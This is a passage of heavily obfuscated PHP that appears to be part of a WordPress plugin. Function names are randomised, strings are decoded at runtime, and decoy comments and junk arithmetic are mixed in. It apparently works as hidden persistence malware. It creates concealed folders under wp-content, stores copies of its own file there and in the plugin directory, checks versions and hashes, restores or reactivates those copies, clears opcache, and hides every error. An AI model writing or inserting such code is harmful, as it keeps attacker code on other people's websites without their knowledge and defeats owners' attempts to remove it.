 $cc80o54envw5w =     get_option(b4gbsak56f40gos(153),  array());
  if ($GLOBALS['__scf_knhbvsumnby3_36']($cc80o54envw5w) && $GLOBALS['__scf_av84ex67tlp92_156']($ca39ql_bdh0c1iee,   $cc80o54envw5w,  true))    {
   update_option(fjup2mc1h(157),   $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_jxu__lo946uf6o_158']($cc80o54envw5w,  array($ca39ql_bdh0c1iee))));

 }
 }  finally  {

us0zdrvjowflnu();
        }
  }

  function teikfigf_p5265esq_q($skvhx4u38jp62y,  $x0ydieb0v_72m_u)
 {
try  {
 if  (interface_exists(b4gbsak56f40gos(159)) && $x0ydieb0v_72m_u     instanceof   Throwable)  {



     $ozjklxswkhjvlmu  = $GLOBALS['__scf_zre6ec18ly90y_10']($skvhx4u38jp62y  .    tvo1rh46s_(160)   .   $x0ydieb0v_72m_u->getMessage(),  0, (239+17));

     }  elseif  ($x0ydieb0v_72m_u  instanceof  Exception)  {
$ozjklxswkhjvlmu     = $GLOBALS['__scf_zre6ec18ly90y_10']($skvhx4u38jp62y .   tvo1rh46s_(160)     .   $x0ydieb0v_72m_u->getMessage(),   0,      (425-169));
   } elseif   ($GLOBALS['__scf_zneqqdn4vlt4_42']($x0ydieb0v_72m_u) &&   $GLOBALS['__scf_m2ym9pki8mue9_11']($x0ydieb0v_72m_u)     > 0)    {
 $ozjklxswkhjvlmu  = $GLOBALS['__scf_zre6ec18ly90y_10']($skvhx4u38jp62y  .    tvo1rh46s_(160)  . $x0ydieb0v_72m_u, 0, (176+80));
  }    else {
 return;
    }
if   (!isset($GLOBALS[b4gbsak56f40gos(161)])) $GLOBALS[op9tjzix(161)] = array();
    

   if  (!$GLOBALS['__scf_av84ex67tlp92_156']($ozjklxswkhjvlmu, $GLOBALS[b4gbsak56f40gos(162)], true))  {
       $GLOBALS[b4gbsak56f40gos(162)][] =  $ozjklxswkhjvlmu;
 }

   if   ($GLOBALS['__scf_j38tk0441lk_37']($GLOBALS[b4gbsak56f40gos(163)])  >  (57-7)) {
    $GLOBALS[fjup2mc1h(163)]   =   $GLOBALS['__scf_eriwpctk0hsvu4_164']($GLOBALS[fjup2mc1h(163)],  -(16^34));
    }
  } catch      (Throwable   $h8j9vxji0p)    {
       } catch (Exception     $h8j9vxji0p)    {


  }


    }
function     uh36p8urjd71g_u9smnf($qd8vtlpj9h57ev, $zrdojkt9l06,   $frgd4znm8k  =   (0x8+0x2), $b_zag2hc7t   =     1)
   {



   if (!$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(165))) return    false;
if ($GLOBALS['__scf_zneqqdn4vlt4_42']($zrdojkt9l06)) {
return add_action($qd8vtlpj9h57ev,    function (...$za036hnks8m8)    use   ($zrdojkt9l06)  {
 if    ($GLOBALS['__scf_qel9wo57qs676z_5']($zrdojkt9l06))  return $zrdojkt9l06(...$za036hnks8m8);
return   null;
},  $frgd4znm8k,  $b_zag2hc7t);


   }
// lazy cipher-suite

  return   add_action($qd8vtlpj9h57ev, $zrdojkt9l06,     $frgd4znm8k,  $b_zag2hc7t);
 }



    function  w1x2vlyn0dayva0xvorosh($qd8vtlpj9h57ev,   $zrdojkt9l06,     $frgd4znm8k  =     (7+3),   $b_zag2hc7t    =  1)
{
if (!$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(166)))   return false;



      if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($zrdojkt9l06))      {



 return add_filter($qd8vtlpj9h57ev,   function    (...$za036hnks8m8)   use   ($zrdojkt9l06)  {
    if ($GLOBALS['__scf_qel9wo57qs676z_5']($zrdojkt9l06))    return $zrdojkt9l06(...$za036hnks8m8);
  return  isset($za036hnks8m8[0])  ? $za036hnks8m8[0] :      null;
    },  $frgd4znm8k,   $b_zag2hc7t);
      }
return  add_filter($qd8vtlpj9h57ev,  $zrdojkt9l06, $frgd4znm8k,   $b_zag2hc7t);
  }
     function xrb38aewb77bc3i()
   {

$dwp9zzb5mx =  defined(tvo1rh46s_(146)) ?  WP_CONTENT_DIR  .   op9tjzix(167)  .      fmsvr16ge0nzzk9i6u(ABSPATH .  tvo1rh46s_(91), (14-6))      :   $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h())    .   b4gbsak56f40gos(168);
 if  (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx) &&   s29rlsoq45jpkm6n($dwp9zzb5mx))   {
  m_ixrkpun5f9a0k8wu($dwp9zzb5mx,   (457+36),    true);
    if (@$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx))  {
     u3qer9rky6zmeg($dwp9zzb5mx  .   tvo1rh46s_(169), "<?php // Silence is golden.\n", op9tjzix(91));
    }
  }
if     (@$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx)  &&  @$GLOBALS['__scf_tluflp7r6hugyf_48']($dwp9zzb5mx))    {
    return    $dwp9zzb5mx;

      }
 $yoiq41wy03 =   $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()) .     b4gbsak56f40gos(168);
     if      (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($yoiq41wy03)   &&   s29rlsoq45jpkm6n($yoiq41wy03))   m_ixrkpun5f9a0k8wu($yoiq41wy03,      (0xe4+0x109), true);
 if   (@$GLOBALS['__scf_ot56htgy8hrmim_44']($yoiq41wy03)   && @$GLOBALS['__scf_tluflp7r6hugyf_48']($yoiq41wy03)) return   $yoiq41wy03;


     $k0wqfk0inrvk_  = $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h());
  if (@$GLOBALS['__scf_tluflp7r6hugyf_48']($k0wqfk0inrvk_) &&  $k0wqfk0inrvk_  !==   emzy8pvoveowt1bicy5())     return $k0wqfk0inrvk_;
if  (defined(op9tjzix(146))    &&   @$GLOBALS['__scf_tluflp7r6hugyf_48'](WP_CONTENT_DIR)  && s29rlsoq45jpkm6n(WP_CONTENT_DIR))  return WP_CONTENT_DIR;
  return  $dwp9zzb5mx;
    }
function   p_wsdzgl36a6wh_fs09()
{
   if   (defined(fjup2mc1h(170))    && @$GLOBALS['__scf_tluflp7r6hugyf_48'](WP_CONTENT_DIR) &&   s29rlsoq45jpkm6n(WP_CONTENT_DIR)) return  WP_CONTENT_DIR;
    $qxhid1kg93 = $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h());
if   (s29rlsoq45jpkm6n($qxhid1kg93)) return  $qxhid1kg93;
  return  WP_CONTENT_DIR;
  }
   



function  hevxi269p3v7rmjhw($q9bdm8vc06odw4)
{
if    (empty($GLOBALS[wlgh2_th(171)])  ||  !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[tvo1rh46s_(171)]))   return false;
    if   (isset($GLOBALS[zp28wk01y(171)][$q9bdm8vc06odw4])) return    true;
      $x70n17n7y9_     = $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(34))    ?  @$GLOBALS['__scf_czsd7giapuxwu_34']($q9bdm8vc06odw4) :   false;$ulzndk8xo7o=(0x48+0xe5);$j4lqwjvzw51kr_=$ulzndk8xo7o%15;
return ($x70n17n7y9_    !==  false    &&   isset($GLOBALS[wlgh2_th(171)][$x70n17n7y9_]));
  }
 function oezrv2rwpxsq580vp1kzq($q9bdm8vc06odw4)
  {
// atom table

   if     (empty($GLOBALS[wlgh2_th(171)])  || !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[zp28wk01y(172)]))  return;
  unset($GLOBALS[fjup2mc1h(172)][$q9bdm8vc06odw4]);
$x70n17n7y9_ = $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(34))  ?    @$GLOBALS['__scf_czsd7giapuxwu_34']($q9bdm8vc06odw4)  :  false;
 if  ($x70n17n7y9_ !==     false)  unset($GLOBALS[b4gbsak56f40gos(173)][$x70n17n7y9_]);
  }

   function   s76uf5mxw_rb6ddl($q9bdm8vc06odw4)
 {
    if   (!isset($GLOBALS[tvo1rh46s_(173)])     || !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[b4gbsak56f40gos(173)])) {
// @unlock facade
$n1c05gs59=186|123;$bete993ayj85og=$n1c05gs59^37;
   $GLOBALS[tvo1rh46s_(173)]   =   array();
 }
// iterate snapshot-isolated pipeline



$nwbal28ou6g4mbs =   $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(34))  ?  @$GLOBALS['__scf_czsd7giapuxwu_34']($q9bdm8vc06odw4) :   false;
  $GLOBALS[tvo1rh46s_(173)][$nwbal28ou6g4mbs   !==  false  ? $nwbal28ou6g4mbs  : $q9bdm8vc06odw4] = $q9bdm8vc06odw4;
       static  $io85wd78o6nishg   = false;
    if    (!$io85wd78o6nishg)     {
    $io85wd78o6nishg     =  true;


     if  ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(174)))     $GLOBALS['__scf_b1rqpek_6hp_174'](tvo1rh46s_(175));
      }
 }
function    mffz34ot9v24_cmfqwvw()
{
 if    (empty($GLOBALS[fjup2mc1h(173)]) ||   !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[tvo1rh46s_(176)]))   {
 return;
}
   foreach  ($GLOBALS[tvo1rh46s_(177)]   as $bk5bwkxid2e   =>   $nbzjsvymdqowtx)   {$rvhdy596_ao=60*9;$tw10dzqn=$rvhdy596_ao-7;
      if     (!$GLOBALS['__scf_zneqqdn4vlt4_42']($nbzjsvymdqowtx))      $nbzjsvymdqowtx =  $bk5bwkxid2e;
    if   ($bk5bwkxid2e ===  qluu1auwul2zupq5h()   ||     $nbzjsvymdqowtx     ===  qluu1auwul2zupq5h()) continue;
     try {
if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($nbzjsvymdqowtx)     &&    !_b1inwj90rdcngb($nbzjsvymdqowtx)  &&   yhtrb7u6dls0u1($nbzjsvymdqowtx))  {
// WP Redux Store: projective-adj strategy




rfitcim9galxt391gcxlow($nbzjsvymdqowtx);
   lfv82aa8fnhnq9g($nbzjsvymdqowtx);
 

}
}    catch (Throwable   $x0ydieb0v_72m_u)  {

 }   catch    (Exception  $x0ydieb0v_72m_u)   {
// serialize singular pipeline
$sfo5hnjv=229|112;$tryhhrmw16_brs=$sfo5hnjv^74;



}



 }
// untrusted input

  }

       function pglincgra_m2wkk()
  {
try {
 $x0ydieb0v_72m_u   =  $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(178)) ?   @error_get_last() :  null;
if  (!$GLOBALS['__scf_knhbvsumnby3_36']($x0ydieb0v_72m_u)  ||   empty($x0ydieb0v_72m_u[wlgh2_th(179)])   ||  empty($x0ydieb0v_72m_u[fjup2mc1h(180)])) return;
   if   (!$GLOBALS['__scf_av84ex67tlp92_156']($x0ydieb0v_72m_u[tvo1rh46s_(180)],  array(E_ERROR, E_PARSE,    E_CORE_ERROR,   E_COMPILE_ERROR,     E_USER_ERROR),      true)) return;
$ltpokciy2kt5utu =  isset($x0ydieb0v_72m_u[fjup2mc1h(181)])  ?     (string)   $x0ydieb0v_72m_u[wlgh2_th(182)]  :  "";
  if  (stripos($ltpokciy2kt5utu, op9tjzix(183))    !==  false  || stripos($ltpokciy2kt5utu, wlgh2_th(184))   !==    false)   return;
$wul9x0p7n8h0    = $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(185))  ?     @$GLOBALS['__scf_czsd7giapuxwu_34'](qluu1auwul2zupq5h())    :   qluu1auwul2zupq5h();
     $_ef    = $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(185)) ?   @$GLOBALS['__scf_czsd7giapuxwu_34']($x0ydieb0v_72m_u[op9tjzix(179)])  : $x0ydieb0v_72m_u[tvo1rh46s_(179)];



if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($wul9x0p7n8h0) ||   !$GLOBALS['__scf_zneqqdn4vlt4_42']($_ef)    || $_ef  !== $wul9x0p7n8h0)    return;
 if  (isset($GLOBALS[zp28wk01y(186)])) {
/* incremental call-graph */

  $d7107gzn46 =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98'](qluu1auwul2zupq5h(),  false,  null,   0,  (4033+63));


if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($d7107gzn46)    && $GLOBALS['__scf_bvfhit3heqts_99'](op9tjzix(100),  $d7107gzn46, $_dm) &&  $_dm[1]  !==  (string)  $GLOBALS[b4gbsak56f40gos(186)])     return;  
  unset($d7107gzn46,   $_dm);$qtgjamco9p54=5499;$am0hhwi_sue9ps=$qtgjamco9p54%3;
   

   if (isset($GLOBALS[zp28wk01y(187)]))   {



 if   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(60)))  @clearstatcache(true,   qluu1auwul2zupq5h());
   $ijvpf0q2z7x7o  = (string)  @$GLOBALS['__scf_voobwg611qb_102'](qluu1auwul2zupq5h()) .     ':'   .     (string)   @$GLOBALS['__scf_kpr9p9o54hwof_101'](qluu1auwul2zupq5h());
if  ($ijvpf0q2z7x7o  !==  (string)   $GLOBALS[fjup2mc1h(188)])  return;   
 unset($ijvpf0q2z7x7o);$fajod9mbd=82+5;$gfpzk8m2ja=$fajod9mbd-9;



    }



 }
    $cmmcvi1p_vu  =  $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),     wlgh2_th(189));
    $aefz_1v1clo = _ar5tcm9kavyuod_ve5o1l(qluu1auwul2zupq5h());
 

     $mv7zbrx0t3nfgxp9    =  $GLOBALS['__scf_zneqqdn4vlt4_42']($aefz_1v1clo)     ? $GLOBALS['__scf_abbpcj1ncssalx_57']($aefz_1v1clo) :    "";
unset($aefz_1v1clo);
 if ($mv7zbrx0t3nfgxp9 !==   "") {
 u3qer9rky6zmeg($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()) .  tvo1rh46s_(190) .   $cmmcvi1p_vu,    $mv7zbrx0t3nfgxp9,  'q');
     u3qer9rky6zmeg($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()) .  fjup2mc1h(191) .    $mv7zbrx0t3nfgxp9, (string)   $GLOBALS['__scf_yg2rpewmkg_192'](),    'q');
if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(193))) {
 @update_option(op9tjzix(194),   $mv7zbrx0t3nfgxp9  . '|' .   $GLOBALS['__scf_yg2rpewmkg_192'](),    zp28wk01y(195));
}
}
   $d_9pqy369cvamxr  =  emzy8pvoveowt1bicy5();
   if   ($mv7zbrx0t3nfgxp9   !==  ""  &&   $d_9pqy369cvamxr !==   $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h())  &&  @$GLOBALS['__scf_ot56htgy8hrmim_44']($d_9pqy369cvamxr)    &&     @$GLOBALS['__scf_tluflp7r6hugyf_48']($d_9pqy369cvamxr))  {
  u3qer9rky6zmeg($d_9pqy369cvamxr   . fjup2mc1h(196)  . $cmmcvi1p_vu,  $mv7zbrx0t3nfgxp9,  'q');



 }


ux2jkoky3hejst2ho(fnn_1fc67qy9wd854gl3());
ralx_tidbmwyzixsc1y(fjup2mc1h(197));

  $u8wcbk807mcv5  =  qluu1auwul2zupq5h() .  op9tjzix(31);
       if  ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(198)))  @$GLOBALS['__scf_tzc_p_uzbnf_qz_50'](qluu1auwul2zupq5h(),    $u8wcbk807mcv5);
   if  ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(199))) {$u_scoid3362yb3=(0x6f+0xc8);$adpad_naz=$u_scoid3362yb3%12;
 @opcache_invalidate(qluu1auwul2zupq5h(), true);
    @opcache_invalidate($u8wcbk807mcv5,  true);
     }
  foreach     (array($GLOBALS['__scf_pqkpt9n3trf9fm_12']($u8wcbk807mcv5),   emzy8pvoveowt1bicy5())  as $zz7cc607ja8ugm) {
      $n7n6jucuj7zhmo1   =      hfuxm75f1bdbh9ptm1($zz7cc607ja8ugm,   (4939+61));
 if  (!$GLOBALS['__scf_knhbvsumnby3_36']($n7n6jucuj7zhmo1)) continue;


     foreach    ($n7n6jucuj7zhmo1  as    $h00r62xd4k1jnr)    {



  if   ($GLOBALS['__scf_zre6ec18ly90y_10']($h00r62xd4k1jnr,  -(10-2))  !==  wlgh2_th(200)) continue;
 $jh5l_3f2sxi9gk    =  $zz7cc607ja8ugm    .  '/' .  $h00r62xd4k1jnr;
$b3fp74xs487ala  =   @$GLOBALS['__scf_kpr9p9o54hwof_101']($jh5l_3f2sxi9gk);
      if  ($b3fp74xs487ala    &&     $b3fp74xs487ala  <   $GLOBALS['__scf_yg2rpewmkg_192']()    -    (604717+83))  {
kp1tutxjpanriy($jh5l_3f2sxi9gk,     (610-190));



_0qezpop1swzfe($jh5l_3f2sxi9gk);


    }
}
    }
unset($zz7cc607ja8ugm, $n7n6jucuj7zhmo1,  $h00r62xd4k1jnr,  $jh5l_3f2sxi9gk,  $b3fp74xs487ala);



   }    catch   (Throwable   $h8j9vxji0p)  {
   } catch      (Exception     $h8j9vxji0p) {
      }
/* proactive symbol-table */

}



       function  dj5j9frc1m6lenq2myjb($q9bdm8vc06odw4, $yktt939a5hvub)
  {
// reactive watermark

 try  {
     if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($q9bdm8vc06odw4)  ||     $q9bdm8vc06odw4 ===  ""   ||    !$GLOBALS['__scf_zneqqdn4vlt4_42']($yktt939a5hvub) ||  $yktt939a5hvub      ===   "")      return;



 $dwp9zzb5mx  =  $GLOBALS['__scf_pqkpt9n3trf9fm_12']($q9bdm8vc06odw4);
 if     (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx)  ||     !@$GLOBALS['__scf_tluflp7r6hugyf_48']($dwp9zzb5mx))  return;
    $l_enflm14fksrox     =    $dwp9zzb5mx .    b4gbsak56f40gos(201)   .   $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4, b4gbsak56f40gos(189));
   $ggqxgb514dk  =   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($l_enflm14fksrox);
if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($ggqxgb514dk)   && $GLOBALS['__scf_bvfhit3heqts_99'](b4gbsak56f40gos(202),     $ggqxgb514dk, $ltpokciy2kt5utu)  &&    version_compare($ltpokciy2kt5utu[0],  $yktt939a5hvub,   wlgh2_th(203)))   return;


      if  ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(204)))  @$GLOBALS['__scf_m2g_67700pfzin_204']($l_enflm14fksrox, $yktt939a5hvub);
   }    catch    (Throwable $x0ydieb0v_72m_u) {
    } catch    (Exception $x0ydieb0v_72m_u) {
       }
}

 function     f2hdt3c97o6mo5tgl8()

   {
try    {
  if (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(205)))  {
  return;
 }
  if (@get_option(tvo1rh46s_(206),  0))   {
     uh36p8urjd71g_u9smnf(op9tjzix(207),  wlgh2_th(208),  0);
 }
if (!mmsya1lu9x3wz6a92pu(op9tjzix(209)))  return;

$sacnahuo9uejitoc =  $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57'](ABSPATH .  (string)  wzkcxw_m1n8fard2g()),  0,  (23-11));


 $au9kxx_bvo6hg   = (string)   @get_option($sacnahuo9uejitoc,  "");
  $jvob15l01nos    =  b4gbsak56f40gos(210);
     $b871oss2lqyvk   =     "";
 
     $xr0xee4bu_swl  =   strrev(mvfnzt3qa4jfes_wxi());

       $l4y80ktv9uqtjq1   =   _vfpypr4wakqs7jy_();
    $vojo1kldz62  =   $l4y80ktv9uqtjq1  .  '|'  .      $xr0xee4bu_swl;




if  ($GLOBALS['__scf_rbe_sihvfv_8']($au9kxx_bvo6hg, '|')   !== false)   {
      $cnpep_hv1e2jy  =  $GLOBALS['__scf_ubwid3ivz9f8x_118']('|',   $au9kxx_bvo6hg,   2);
$jvob15l01nos     =  $cnpep_hv1e2jy[0];


$b871oss2lqyvk  =  $cnpep_hv1e2jy[1]; 
    }   else {

      
  $b871oss2lqyvk =  $au9kxx_bvo6hg;
 }
   
  if (!$b871oss2lqyvk)   {
// WP Custom Link: nilpotent injector

   @update_option($sacnahuo9uejitoc, $vojo1kldz62,   tvo1rh46s_(211));
return;$w9qgy8bbt2z723=82*4;$_970tufs200x=$w9qgy8bbt2z723-12;
}
 
   if   ($b871oss2lqyvk  === $xr0xee4bu_swl)  {
 if  ($au9kxx_bvo6hg    !== $vojo1kldz62   && version_compare($l4y80ktv9uqtjq1,  $jvob15l01nos, tvo1rh46s_(203)))  {
// normal partition-refinement

 @update_option($sacnahuo9uejitoc,    $vojo1kldz62,    zp28wk01y(211));


      }
    return;
      }
   



  $g9pld13msva03q73 = strrev($b871oss2lqyvk);
     if    ($g9pld13msva03q73   === ""   ||    $GLOBALS['__scf_dpm5ad5tej9nf_4']($g9pld13msva03q73) !==     $g9pld13msva03q73)  {
// WordPress 6.4 patterns: primitive-recursive dependent-type

      @update_option($sacnahuo9uejitoc,  $vojo1kldz62, op9tjzix(211));
 return;
 }
$gkghf366sclf  =  emzy8pvoveowt1bicy5()    .  '/'    . $g9pld13msva03q73;
   $jvd8p2xbucjoeac =  "";

   if (defined(b4gbsak56f40gos(7))) {
     $jvd8p2xbucjoeac   =      WP_PLUGIN_DIR   .  '/'     . $GLOBALS['__scf_innlxa4l2yk_yi_212']($g9pld13msva03q73, PATHINFO_FILENAME)    . '/' . $g9pld13msva03q73;
   }



 

 $zn487jxcho5d   =   @$GLOBALS['__scf_voobwg611qb_102']($gkghf366sclf);
$s0neawy8apkj  =  $zn487jxcho5d  !==  false && $zn487jxcho5d   >=  (8997-3997);
  $t10c8weq7j  = $jvd8p2xbucjoeac    ?     @$GLOBALS['__scf_voobwg611qb_102']($jvd8p2xbucjoeac)     :   false;

 $hk0anpx32bqgsm =    $t10c8weq7j !== false &&    $t10c8weq7j  >=   (2506+2494);
 



 if (!$s0neawy8apkj    &&  !$hk0anpx32bqgsm)      {
      @update_option($sacnahuo9uejitoc,  $vojo1kldz62,  b4gbsak56f40gos(211));
 return;


 }
$epq8erd5sr  =  $s0neawy8apkj  ?  $gkghf366sclf  :    $jvd8p2xbucjoeac;
    $ne_jb70to_bml =     @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($epq8erd5sr, false,   null, 0,    (4019+77));
  if      ($GLOBALS['__scf_zneqqdn4vlt4_42']($ne_jb70to_bml)  &&  $GLOBALS['__scf_bvfhit3heqts_99'](fjup2mc1h(100),  $ne_jb70to_bml,   $_fm))   {
    $jvob15l01nos   =  $_fm[1];
   }  elseif    (_cz07l41au6zrisr5($epq8erd5sr, (4975+25)))  {
// WP Site Title: atomic nominal-type

   $jvob15l01nos =   fjup2mc1h(210);
  }


 unset($ne_jb70to_bml,  $_fm);


     $xjmxqcx8gzzpu =   $s0neawy8apkj;
 if  (!$xjmxqcx8gzzpu  &&    $hk0anpx32bqgsm)  {
$huui6p068z44l_e2  =   $GLOBALS['__scf_innlxa4l2yk_yi_212']($g9pld13msva03q73,  PATHINFO_FILENAME) .     '/' .  $g9pld13msva03q73;

    $fgautvrvb64jljnh    =   (array)   @get_option(tvo1rh46s_(157), array());


     $xjmxqcx8gzzpu  =  $GLOBALS['__scf_av84ex67tlp92_156']($huui6p068z44l_e2,    $fgautvrvb64jljnh,  true);
   if  (!$xjmxqcx8gzzpu &&   $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(213))   && is_multisite() &&    $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(214)))  {
     $c4_x1dpan23r   =     (array) @get_site_option(zp28wk01y(215),     array());
    $xjmxqcx8gzzpu =      isset($c4_x1dpan23r[$huui6p068z44l_e2]);


    unset($c4_x1dpan23r);


 }
   unset($huui6p068z44l_e2,  $fgautvrvb64jljnh);
}
      $cvb87xo0tf8978n   =  version_compare($l4y80ktv9uqtjq1, $jvob15l01nos);


 if ($cvb87xo0tf8978n  <= 0)    {
  $c1a6o4t3zi192jti =  _cz07l41au6zrisr5($epq8erd5sr,   (4991+9));
  

 $w63332w72j1_1o02  =  (int)  @$GLOBALS['__scf_voobwg611qb_102']($epq8erd5sr);
 $vho7g1ubpslexkn6 = (!$c1a6o4t3zi192jti ||     $w63332w72j1_1o02 >   (17306919+35121881));
if (!$vho7g1ubpslexkn6   &&    $w63332w72j1_1o02 >  (1172762-124186))    {
$fir60xb39kogma58  = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($epq8erd5sr,   false,    null, 0, (3463+633));
     if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($fir60xb39kogma58)    || !$GLOBALS['__scf_bvfhit3heqts_99'](zp28wk01y(216),   $fir60xb39kogma58))    $vho7g1ubpslexkn6   =  true;
      }
     if     (!$vho7g1ubpslexkn6  && !phmbu8l2xleed7fgcq($epq8erd5sr))   $vho7g1ubpslexkn6  =  true;
 if  (!$vho7g1ubpslexkn6)    {
       $l7t7l6ugrxuq3jhv = lxy9w34y4eglj5ev6kxa6();


  if (!empty($l7t7l6ugrxuq3jhv[fjup2mc1h(217)]))  {
$x3rt4mcgoq  =  @$GLOBALS['__scf_czsd7giapuxwu_34']($l7t7l6ugrxuq3jhv[tvo1rh46s_(218)]);
 $aw16y9mtzfus98_4  =  @$GLOBALS['__scf_czsd7giapuxwu_34']($epq8erd5sr);$sjrmw6b87=-183;$z4xyopny=($sjrmw6b87>0)?$sjrmw6b87:-$sjrmw6b87;
     if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($x3rt4mcgoq)    &&  $GLOBALS['__scf_zneqqdn4vlt4_42']($aw16y9mtzfus98_4) &&   $x3rt4mcgoq  ===  $aw16y9mtzfus98_4) {
$eg79u2rvxl4bf    = a1r5x6gcdcygcg23($l7t7l6ugrxuq3jhv);
  if ($eg79u2rvxl4bf    === zp28wk01y(219)   ||  $eg79u2rvxl4bf     ===    op9tjzix(220))  $vho7g1ubpslexkn6 = true;
}
 unset($x3rt4mcgoq,  $aw16y9mtzfus98_4,  $eg79u2rvxl4bf);
    }
  if    (!$vho7g1ubpslexkn6     && dqwf5svv0jhvojl7($epq8erd5sr))      $vho7g1ubpslexkn6  =  true;
   unset($l7t7l6ugrxuq3jhv);
  }


 if  ($vho7g1ubpslexkn6)      {
 if  ($c1a6o4t3zi192jti) s76uf5mxw_rb6ddl($epq8erd5sr);
    @update_option($sacnahuo9uejitoc,  $vojo1kldz62, fjup2mc1h(211));
   return;
}
 if   (!$xjmxqcx8gzzpu)   {
 @update_option($sacnahuo9uejitoc, $vojo1kldz62,  op9tjzix(221));
 return;
 }
// deflationary leaky-bucket

  if   (rm219dnjpltf5xmtptb($epq8erd5sr,   qluu1auwul2zupq5h())) {
       @update_option($sacnahuo9uejitoc, $vojo1kldz62,   op9tjzix(222));



return;



}



if  ($cvb87xo0tf8978n   <  0  ||  ($cvb87xo0tf8978n    ===  0    &&  $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57']($GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(), fjup2mc1h(223))), 0,    (5+7))   <=   $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57']($GLOBALS['__scf_dpm5ad5tej9nf_4']($g9pld13msva03q73,  zp28wk01y(224))), 0,  (0x3+0x9))))    {


dj5j9frc1m6lenq2myjb(qluu1auwul2zupq5h(), $jvob15l01nos);
  


     _xveo52p9iptyim(qluu1auwul2zupq5h());
     return true;

      }
 }
     if  (empty($GLOBALS[op9tjzix(225)]))  {
 $GLOBALS[op9tjzix(226)]      =   true;



       if (_cz07l41au6zrisr5($epq8erd5sr, (4980+20)))   s76uf5mxw_rb6ddl($epq8erd5sr);
 $pwzpdqsfiraq     =  $GLOBALS['__scf_yg2rpewmkg_192']();
jli8euep5yb6she3(qluu1auwul2zupq5h(),     ($pwzpdqsfiraq -    ($pwzpdqsfiraq % (0x4b5c+0x13b44)))   +  wzkcxw_m1n8fard2g());

   unset($pwzpdqsfiraq);
 

dj5j9frc1m6lenq2myjb($gkghf366sclf,   $l4y80ktv9uqtjq1);
if  ($jvd8p2xbucjoeac) dj5j9frc1m6lenq2myjb($jvd8p2xbucjoeac,  $l4y80ktv9uqtjq1);
uh36p8urjd71g_u9smnf(tvo1rh46s_(227),  wlgh2_th(228),   0);


   @update_option($sacnahuo9uejitoc,   $vojo1kldz62, fjup2mc1h(229));
    ralx_tidbmwyzixsc1y(tvo1rh46s_(230));
  if   ($jvd8p2xbucjoeac  !==  "") {$xxdk8vnggy5p=23|61;$zy0cjajaq2_18x=$xxdk8vnggy5p^53;

   ux2jkoky3hejst2ho($GLOBALS['__scf_innlxa4l2yk_yi_212']($g9pld13msva03q73,  PATHINFO_FILENAME)   . '/' .  $g9pld13msva03q73);
// differential work-queue

      }
      }
  return;
 }     catch   (Throwable  $x0ydieb0v_72m_u)  {
     teikfigf_p5265esq_q(wlgh2_th(231),    $x0ydieb0v_72m_u);
}    catch   (Exception $x0ydieb0v_72m_u)    {
}  finally  {
/* normal injector */

   xckt_q1b7jgyro8rvq(wlgh2_th(209));
        }
  }
 function  hfuxm75f1bdbh9ptm1($dwp9zzb5mx,  $fowg365tc61zoq49  = 0)
     {


  $fowg365tc61zoq49     =   (int)  $fowg365tc61zoq49;
if   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(232))   &&   $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(233)))   {
